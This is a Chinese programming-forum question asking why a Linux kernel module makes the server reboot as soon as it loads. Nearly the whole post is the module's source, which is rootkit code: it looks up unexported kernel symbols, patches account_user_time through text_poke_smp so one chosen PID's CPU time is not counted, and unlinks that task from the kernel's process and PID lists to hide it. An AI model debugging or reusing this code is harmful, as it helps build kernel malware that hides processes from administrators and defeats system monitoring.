这段代码编译运行后服务器会自动重启


#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/cpu.h>
char *stub = NULL;
char *addr = NULL;
static unsigned int pid = 0;
module_param(pid, int, 0444);
void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
if(p -> pid == 0x33229982)
{
asm ("pop %rbp; pop %r11; retq;");
}
}
#define FTRACE_SIZE   5
#define POKE_OFFSET        0
#define POKE_LENGTH        5 
void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,unsigned long start, unsigned long end, gfp_t gfp_mask,pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;
char *hide_account_user_time = NULL;
void hide_process(void)
{
    struct task_struct *task = NULL;
    struct pid_link *link = NULL;
    struct hlist_node *node = NULL;
    task = pid_task(find_vpid(pid), PIDTYPE_PID);
    link = &task -> pids[PIDTYPE_PID];
    list_del_rcu(&task->tasks);
    INIT_LIST_HEAD(&task -> tasks);
    node = &link -> node;hlist_del_rcu(node);
    INIT_HLIST_NODE(node);
  node -> pprev = &node;
}
static int __init hotfix_init(void)
{
    unsigned char jmp_call[POKE_LENGTH];
    s32 offset;
    unsigned int *ppid;addr = (void *)kallsyms_lookup_name("account_user_time");
if (!addr) {
  printk("一切还没有准备好!请先加载sample模块。\n");
    return -1;
}
    ___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
    _text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
    _text_mutex = (void *)kallsyms_lookup_name("text_mutex");
if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {printk("还没开始,就已经结束。");
    return -1;
}
#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)
hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,-1, __builtin_return_address(0));
if (!hide_account_user_time)
{
  printk("很遗憾,内存不够了\n");
    return -1;
}
    memcpy (hide_account_user_time, stub_func_template, 0x25);
    ppid = (unsigned int *)&hide_account_user_time[12];
    *ppid = pid;
  stub = (void *)hide_account_user_time;
  offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);
    jmp_call[0] = 0xe8;
  (*(s32 *)(&jmp_call[1])) = offset;
    get_online_cpus();
  mutex_lock(_text_mutex);
    _text_poke_smp(&addr[POKE_OFFSET], jmp_call, POKE_LENGTH);
    mutex_unlock(_text_mutex);
  put_online_cpus();
    hide_process();
    return -1;
}
static void __exit hotfix_exit(void)
{
    
}
module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

使用后机器直接关机重启,请问是什么情况

@dog250

【相关推荐】




如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 写成博客, 将相关链接放在评论区, 以帮助更多的人 ^-^